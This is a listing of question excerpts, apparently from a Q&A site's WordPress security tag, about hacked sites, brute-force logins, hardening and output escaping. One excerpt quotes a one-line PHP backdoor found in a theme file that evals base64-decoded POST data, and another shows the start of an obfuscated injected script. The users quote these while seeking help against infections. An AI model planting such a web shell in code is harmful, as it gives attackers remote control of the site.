The security tag has no wiki summary.
0
votes
0answers
18 views
Core files changed - site hacked?
Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed:
WordPress core file modified: wp-content/plugins/akismet/admin.php
WordPress ...
0
votes
1answer
35 views
How to protect wp-admin through .htaccess?
I'd like to protect the /wp-admin/ directory at the server level. This means two logins. One through the server and another through WordPress.
I believe this can be handled through .htaccess. Does ...
0
votes
0answers
65 views
Why does My WordPress site keep getting hacked? [closed]
Why does My WordPress site keep getting hacked?
I have made all of the changes I can according to WordPress's hardening documentation.
Each time, the administrative password is reset. How can that ...
0
votes
3answers
55 views
Why my plugins are updating automatically?
I have a wordpress site with a few plugins. I had to make some custom changes on a plugin (not a best practice), and of course I don't want to update that plugin.
But for some reason all my plugins ...
0
votes
2answers
46 views
How can I tell who changed the password?
We recently had an employee leave our company. When they left, I changed all their passwords and removed their email access etc. I also changed the password on our Wordpress site for the Admin ...
0
votes
0answers
24 views
Is [admin / admin] acceptable for all local websites?
Are there security issues with using the same credentials [admin / admin] for all client websites on a working, local server ?
0
votes
0answers
15 views
Brute force attack - how to tell if site has been compromised? [duplicate]
What is the best way to check if a site has been compromised? I'm assuming an attacked site won't show any "symptoms", correct? I've checked a few FTP directories and haven't seen anything, what else ...
0
votes
0answers
62 views
wp-count.php injection [closed]
My site was infected by wp-count.php and wp-apps.php files.
It's been a year since this topic has been raised everywhere, but no solution so far? Is this really a WordPress vulnerability issue or a ...
0
votes
1answer
47 views
Trying to understand nature of hacking
Today we saw suddenly two files created in root folder in one of our wordpress websites - file name owp.php and gmail.html
On investigating the access logs following entries were found which seem to ...
0
votes
1answer
38 views
Why does WordPress change a file's permissions?
If I set the permissions to the CSS file in my theme to 444 and then attempt to edit it in the Appearance Editor, WordPress is not prevented from editing the file and in fact change the permissions to ...
0
votes
0answers
11 views
Security permissions on controls added under Page Option
I am a total wordpress n00b, and am having issues understanding how the page security is applied.
I have a page where I want to secure the content, so, in the page editor, I have ticked certain ...
4
votes
1answer
64 views
Should I remove install.php and install-helper.php?
Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress? By default file permission on those files are 644.
If there is any leak, what kind ...
0
votes
1answer
41 views
Wordpress built in custom fields don't validate or sanitize? Is there a way to fix this?
I'm surprised to see that when creating post meta using the default/built in custom fields on the post editor page it allows you to enter tags like:
<a>,<script>,etc.
I then ...
0
votes
0answers
20 views
Page missing: tiger-m@te
I recently took a site live, installed WP Better Security, and noticed immediately that this site was facing a lot of hacking attempts.
About a day later I realized that one of the pages refuses to ...
0
votes
1answer
49 views
If I use an alternative login (e.g. CAS or other SSO) plugin, is my site protected from the recent brute force login attempts?
I've been hearing about the recent increase in brute-force WordPress login attempts due to a massive botnet attack. Everything I've read so far indicates that the attack works by just trying different ...
1
vote
2answers
59 views
Suspicious Files
Hi I found two suspicious files on my site:
The first in my theme (404.php), with this line added
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
The second in ...
0
votes
1answer
55 views
Wordfence detects change in wp-admin/includes/upgrade.php
I moved my site from hosting provider A and domain name B to hosting provider X and domain name Y. I had Wordfence in the old site. I just installed it in the new site and ran a scan. Wordfence found ...
15
votes
2answers
3k views
Increase of failed login attempts, brute force attacks?
I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day.
I think that is not possible to have my site attacked by so many IP's
...
0
votes
1answer
73 views
Changing admin user id for database
Is it correct or ok to change default admin user id from 1 to any other number as done by better-wp-security plugin for wordpress for better security? what is best way for admin security.
Thanks
2
votes
1answer
47 views
Protecting against malicious code in Wordpress plugin updates
One of the most popular Wordpress plugins listed on the Wordpress plugins database got malicious code injected into it recently (April 2013):
...
3
votes
2answers
46 views
Is it safe to assume that a nonce may be validated more than once?
From what I have gathered, once a nonce is generated it is valid for reuse for the next 48 hours.
Is it safe to code with this in mind? I'm writing a plugin that does a bit of toing and froing with ...
0
votes
0answers
79 views
Prevent PHP execution via htaccess but disables thesis theme?
So I'm trying to secure my wordpress site because it's been infected multiple times with malware. One of the suggested steps is to basically prevent php execution in the wp-content directory via ...
0
votes
1answer
41 views
How do I allow certain users to make a certain type of post?
Here's a brief summary of how my site is setup:
I have a relatively simple Intranet site. Right now I am utilizing posts as a means to provide news to users. I am also using pages. I only want ...
3
votes
1answer
50 views
Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce?
Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ...
0
votes
0answers
42 views
Insecure content loading on a secured site, how to force https?
I have a seemingly odd issue where when logged in as an admin on a site I can load all content and assets just fine. When I logout to view the site entirely as a user would see it, the html content ...
1
vote
1answer
70 views
Moving wp-config.php up 2 levels
Is it possible to change a setting so that wp-config.php could be moved up two directory levels (instead of the default 1 level)? This would allow the core WP files to be moved from public_html to a ...
3
votes
1answer
73 views
Allow Profile HTML for select users
I know there are a ton of post out there about how to allow html in profiles. Most of these warn about the security risk of doing so. My thinking is there has to be a way to only allow users to use ...
0
votes
1answer
53 views
Data Validation, dynamically generated fields (select for example)
Working to secure my plugin, I'm not sure what (if anything) to do about output such as dynamically generated select fields. For example, I have a country code select generated on the backend via PHP ...
0
votes
1answer
68 views
Is it safe use wp_editor in public contact form
I'm going to make a contact form for my site, and i want to use WYSIWYG editor (wp_editor) in my form message field.
Here is my question, is that safe use wp_editor in public though disable media ...
-1
votes
1answer
81 views
Overwhelming code injection [closed]
My WP site was plagued with code injection such as this:
68c8c7
echo "
asgq=[0x28,0x66,0x75,0x6e,0x63,0x7d, .......
...
0
votes
1answer
63 views
force login loophole
I want to restrict access to my wordpress site to allow registered users only. I have tried the following plugins:
Require-login
Authenticator
WP-lock
All of them have the same problem: After ...
3
votes
1answer
131 views
When to use esc_url, esc_html, esc_attr, and friends?
Discovered esc_url today while customizing an _s theme. I understand what the function does (sanitizes the URL inside), but what I'm unsure of is the scope of its use.
It makes sense to me that if ...
0
votes
3answers
101 views
How to stop direct HTTP POST to a PHP script?
I have a form on my site, created using Contact Form 7 with Captcha. Contents of the form when POSTed are being sent to a PHP script, the "action" attribute of the form is set to ...
-2
votes
2answers
80 views
Is there a secure way for the public to submit images, videos, and documents using WordPress?
I want the public to submit images, photo simulations, models, video, animation, illustrated narration, papers and other publications and multimedia. images - 30" x 42" 300 dpi . pdf format file size. ...
0
votes
2answers
141 views
Too many login attempts
Since a week or two I keep receiving the following automatic email message sent from my WordPress website, and I'd like to know if it indicates any security hole and if there's anything I can do to ...
2
votes
3answers
116 views
How brute-forcer knows that the password is cracked for target username?
There are very many brute-force attacks (mostly for 'admin' username) on WordPress sites.
All these attacks are made automatically via post requests.
The question 1: how brute-forcer knows that the ...
1
vote
1answer
88 views
Using esc_html with HTML purifier and CSSTidy: Overkill?
Currently my text area input (which accepts custom CSS input from a user) in the Wordpress theme options panel are sanitized by esc_html function in Wordpress ...
0
votes
2answers
34 views
Separate Out Real Users
If I look at
/wp-admin/users.php
I see all the users, but some have given a bogus email and never used their password.
Is there some way to see who has used their password at least once? If not, ...
0
votes
1answer
54 views
Auto log in hook is requiring a page refresh
I have a simple auto log in hook that looks like the following:
function auto_login() {
if (!is_user_logged_in()) {
//Removed some code for brevity.
$user = ...
1
vote
0answers
64 views
How can I secure a WordPress blog using OpenID from a single provider?
We're about to launch an internal blog for the company I work at. Much of the blog will be available to the public, but certain posts will be for employees only.
Our intranet/extranet has an OpenID ...
1
vote
0answers
55 views
Disallow file edit not preventing plugin install
I have a little demo site (admin details are listed publicly), and I've configured the wp-config to disallow file edits, so in theory no one can install a theme / plugin.
...
0
votes
1answer
52 views
Security to delete post by Admin
My code is so simple like when admin delete a post by Wordpress fucntion (PHP) and do action with jQuery
<?php
include('../../../../../../wp-config.php');
if(current_user_can('edit_posts')){
$id = ...
2
votes
2answers
141 views
wordfence scan warning on W3 Total Cache
I use Wordfence plugin which scans server side plugins with original plugin files to see if anything was modified by hacker/cracker. Today I got a warning and it shows these modifications on ...
-1
votes
1answer
84 views
FERPA Security and Gravity Forms [closed]
I have a bit of a new question that I haven't seen talked about anywhere.
I made a website for a school who has a Gravity Form setup on the site that collects students names. Recently this school ...
0
votes
1answer
936 views
Receiving “This content cannot be displayed in a frame” error on login page
I am using a new domain for my WordPress directory in different server. When I click the meta links such "Login" or "register", I get this page:
This content cannot be displayed in a frame
To ...
-1
votes
1answer
99 views
Default installation permissions for wp-config.php
Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing
...
0
votes
1answer
172 views
Wordpress Security - How to block alternative Wordpress access
I own a self-hosted Wordpress 3.5 blog. I'm working on its security and I'm trying to prevent non-writers from accessing anything admin-ish they shouldn't.
Recently I tried Better Wordpress Security, ...
-2
votes
2answers
85 views
Is this a WordPress security bug?
<?php
if ( ! is_admin() ) return;
echo 'You should not see this if you\'re not logged in!';
?>
If you put this in a mu-plugin, and go to your admin, e.g., example.com/wp-admin/ while you are ...
6
votes
1answer
145 views
From a security standpoint, should bloginfo() or get_bloginfo() be escaped?
I've been reviewing a lot of information about WP theme and plugin security and understand the concept that you should escape attributes and HTML values in themes and plugins. I've seen bloginfo() and ...
0
votes
1answer
45 views
Is this plugin safe to run?
This is an extract of code from a wordpress plugin. Is it safe to run despite the variables not being filtered? Also does the wpdb class filter to prevent any injection?
list($email_id, $user_id, ...
